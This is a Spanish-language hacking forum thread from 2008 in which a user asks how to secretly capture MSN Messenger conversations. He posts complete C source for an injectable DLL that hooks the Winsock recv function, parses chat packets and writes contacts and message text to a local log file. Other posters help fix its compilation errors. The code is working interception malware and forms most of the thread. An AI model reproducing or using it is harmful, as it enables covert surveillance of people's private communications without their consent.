elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 22:03  


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse)
| | |-+  [+]Hookear winsock
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [+]Hookear winsock  (Leído 3,254 veces)
RED_HORSE

Desconectado Desconectado

Mensajes: 95



Ver Perfil
[+]Hookear winsock
« en: 26 Febrero 2008, 07:01 »

 Ustube viendo en diferentes lados como poder capturar las conversaciones del msn y la forma mas efectiva que me comentaron es hookeando la api del winsock alguin me podria hechar una mano.

  Lo que yo mas o menos entiendo es que nesesitamos de un inyector de dll lo cual ya lo he conseguido en diferentes lenguajes.

http://invisiblehack.mforos.com/1109918/6469158-source-inyeccion-dll-by-hendrix/

http://foro.elhacker.net/index.php/topic,169870.0.html

http://foro.elhacker.net/index.php/topic,168272.0.html y esta que es la que voy a ocupar


 Existe algun coder de una dll para poder interceptar los datos del winsock???


En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.983


Ver Perfil WWW
Re: [+]Hookear winsock
« Respuesta #1 en: 26 Febrero 2008, 15:18 »

Citar
Existe algun coder de una dll para poder interceptar los datos del winsock???

Haztelo tu, no seas vago xD
http://foro.elhacker.net/index.php/topic,196251.0.html

El tuto de hacer rootkits te vale para lo q kierse hacer, solo q en vez de enganchar FindNextFile enganchas las apis q necesites para lo q kieras. (aparte tb hay mucha info por internet)

Tb creo recordar q MazarD liberó la misma libreria que usó para su Msn Nightmare q hace lo q tu kieres hacer...

salu2


En línea
RED_HORSE

Desconectado Desconectado

Mensajes: 95



Ver Perfil
Re: [+]Hookear winsock
« Respuesta #2 en: 27 Febrero 2008, 04:43 »

 Aca encontre un buen coder de como hacer una dll par captar los datos del winsock. Lu unico es que no logro compilar :-( AYUDA EON :-(
 Alguien me lo puede pasar ya compilado



//Interceptación de apis by MazarD (API HOOKING)
//Hook a WINSOCK
//www.mazard.info
#include <windows.h>
#include <stdio.h>

//Puntero al buffer donde guardaremos las instrucciones copiadas de la api y
//el salto a la api+5
BYTE *Buffer;


struct infoConverses
{
SOCKET sckMSN;
char correu[5000];
}msnFuckit[20];

struct paquetes
{
SOCKET s;
char *buf;
int len;
int flags;
}paquete;


int cntscks=-1;

//Ésta es la dll donde reside la api Recv y Send
char Libreria[]="WSOCK32.dll";


char LogMsn[MAX_PATH]="c:\\logmsn.txt";

//El api en qüestión
char NomApi[]="recv";


//Variable Booleana Flag
bool blockrec=false;

//Funcion a la que llamará el programa principal creiendo que es la api original
int WINAPI FuncioRep(SOCKET s,char *buf,int len,int flags);


void Hookear(void);

void Filtrar(void);

//Puntero a función, utilizando este puntero conseguiremos ejecutar el código contenido en el buffer
int (__stdcall *pBuff)(SOCKET s,char *buf,int len,int flags);

//La función de reemplazo explicada arriba

int WINAPI FuncioRep(SOCKET s,char *buf,int len,int flags)
{

int res;

res=pBuff(s,buf,len,flags);

paquete.s=s;
paquete.buf=buf;
paquete.len=len;
paquete.flags=flags;
Filtrar();




return (res);
}

void Hookear(void)
{
DWORD ProteVieja;
BYTE *DirApi;
BYTE *DirYo;
//Cojemos la dirección de memoria de la api
DirApi=(BYTE *) GetProcAddress(GetModuleHandle(Libreria),NomApi);


//Creamos 10bytes de memoria para nuestro Buffer
if ((Buffer=(BYTE *)malloc(10))==NULL) return;
if (VirtualProtect((void *) Buffer,12,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;


//Buffer=(BYTE *)malloc(10);

//Le damos todos los permisos a los 10 bytes de nuestro Buffer
//VirtualProtect((void *) Buffer, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

//copiamos los 5 primeros bytes originales de la api antes de machacarlos
memcpy(Buffer,DirApi,5);
Buffer+=5;
//En el sexto introducimos E9 que corresponde a jmp(salto
//incondicional) en código máquina para que salte a la api original
*Buffer=0xE9;
Buffer++;

//A partir del septimo metemos 4 bytes que determinan la distancia del salto
//desde el buffer hasta la Dirección de la api+5
*((signed int *) Buffer)=(DirApi+1)-Buffer;

//Asignamos al puntero a funcion pBuff el inicio del Buffer
pBuff = (int (__stdcall *)(SOCKET,char*,int,int)) (Buffer-6);

//Le damos todos los permisos a los 5 primeros bytes de la api original
//VirtualProtect((void *) DirApi,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
if (VirtualProtect((void *) DirApi,5,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;


//Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYo=(BYTE *) FuncioRep;
//En el inicio de la api metemos un salto incondicional hacia nuestro código
//E9=jmp
*DirApi=0xE9;
DirApi++;

//Los 4 siguientes bytes determinan la distancia del salto desde la api hasta
//la función de reemplazo en nuestro código, fijate que en este caso el
//resultado tiene que ser negativo, puesto que las apis corren en direcciones
//de memória mucho mas altas y el salto deberá ser "hacia atrás"
*((signed int *) DirApi)=DirYo-(DirApi+4);

//libermos las librerias de cache
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}

void Filtrar(void)
{
FILE *Archivo;
char Escric[1024];
int payl;
char cIRO[1024];
char *Ini;
char *Ini2;
int trobat=0;

if ((Ini=strstr(paquete.buf,"IRO "))!=NULL && strstr(paquete.buf,"@")!=NULL)
{
trobat=0;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini2=strchr(Ini,' ');
*Ini2=0;
strcpy(cIRO,Ini);
*Ini2=' ';

for (int j=0;j<=cntscks;j++)
{
if (strcmp(cIRO,msnFuckit[j].correu)==0) trobat=j;
}
if (trobat==0)
{
cntscks++;
msnFuckit[cntscks].sckMSN=paquete.s;
strcpy(msnFuckit[cntscks].correu,cIRO);
}else msnFuckit[trobat].sckMSN=paquete.s;
}

if (paquete.buf!=NULL && strcmp(paquete.buf,"")!=0 && (Ini=strstr(paquete.buf,"MSG"))!=NULL && strstr(paquete.buf,"Content-Type: text/plain")!=NULL)
{
Ini=strchr(Ini,'@');
Ini2=Ini;
while (*Ini2!=' ') Ini2--;
Ini2++;
Ini=strchr(Ini2,' ');
*Ini=0;
strcpy(Escric,Ini2);
*Ini=' ';

Archivo=fopen(LogMsn,"a");
fputs("\r\n",Archivo);
fputs(Escric,Archivo);
fputs(" dice:",Archivo);

Ini2=strchr(Ini,'\r');
Ini=Ini2;
while (*Ini!=' ')Ini--;
Ini++;
*Ini2=0;
payl=atoi(Ini);
*Ini2='\r';
Ini2+=2;
for (int k=0;k<payl;k++) Escric[k]=Ini2[k];
Escric[payl]=0;
Ini2=strstr(Escric,"\r\n\r\n");
Ini2+=4;

fputs("\r\n",Archivo);
fputs(Ini2,Archivo);
fclose(Archivo);

//Archivo=fopen(LogMsn,"a");
//fputs(buf,Archivo);
//fclose(Archivo);


}


}


bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{


//si se ha entrado en Dllmain porque se acaba de cargar la librería hookeamos
if (fdwReason == DLL_PROCESS_ATTACH) {

Hookear();

}

return TRUE;
}




este es el error que me da:

Código:
--------------------Configuration: pueva2 - Win32 Debug--------------------
Build : warning : failed to (or don't know how to) build 'D:\Archivos de programa\Microsoft Visual Studio\MyProjects\pueva2\Debug\pueva2.pch'
Compiling...
pueva2.cpp
d:\archivos de programa\microsoft visual studio\myprojects\pueva2\pueva2.cpp(225) : fatal error C1010: unexpected end of file while looking for precompiled header directive
Error executing cl.exe.

pueva2.dll - 1 error(s), 1 warning(s)
« Última modificación: 27 Febrero 2008, 07:51 por RED_HORSE » En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.983


Ver Perfil WWW
Re: [+]Hookear winsock
« Respuesta #3 en: 27 Febrero 2008, 14:35 »

Man, aki no le hacemos el trabajo a nadie, tienes el code de la dll, te e puesto un tuto de como hoohkear cualkier api.. q mas kieres? q te la compilemos? por tu bien yo no aceptaria una dll de nadie compilada y la inyectaría...

Usa el modo release si no vas a debugear y mira bien q tipo de proyecto eliges en el VC :P
En línea
Eternal Idol
Moderador
***
Desconectado Desconectado

Mensajes: 4.389


Clarin miente, TN opera y los giles regurgitan.


Ver Perfil WWW
Re: [+]Hookear winsock
« Respuesta #4 en: 27 Febrero 2008, 15:16 »

Desactiva las cabeceras precompiladas ... (precompiled headers).
En línea



La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón
LixKeÜ


Desconectado Desconectado

Mensajes: 393


solo es lo que es y la verdad siempre da de ganar


Ver Perfil WWW
Re: [+]Hookear winsock
« Respuesta #5 en: 27 Febrero 2008, 15:26 »

 Muy bueno el coder se agradese ;D ;D ;D

 yo ya lo compile tienes que poner en win32 Release y no usar precompiled headers

 todo esto lo usas de proyecto----propiedades


salu2 sirlix

 
« Última modificación: 27 Febrero 2008, 15:31 por LixKeÜ » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Error intentando hookear FindNextFileA
Análisis y Diseño de Malware
mDrinky 2 742 Último mensaje 5 Agosto 2011, 13:13
por mDrinky
Duda si hookear TerminateProcess
Programación C/C++
t4r0x 3 404 Último mensaje 14 Febrero 2012, 12:18
por Eternal Idol
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines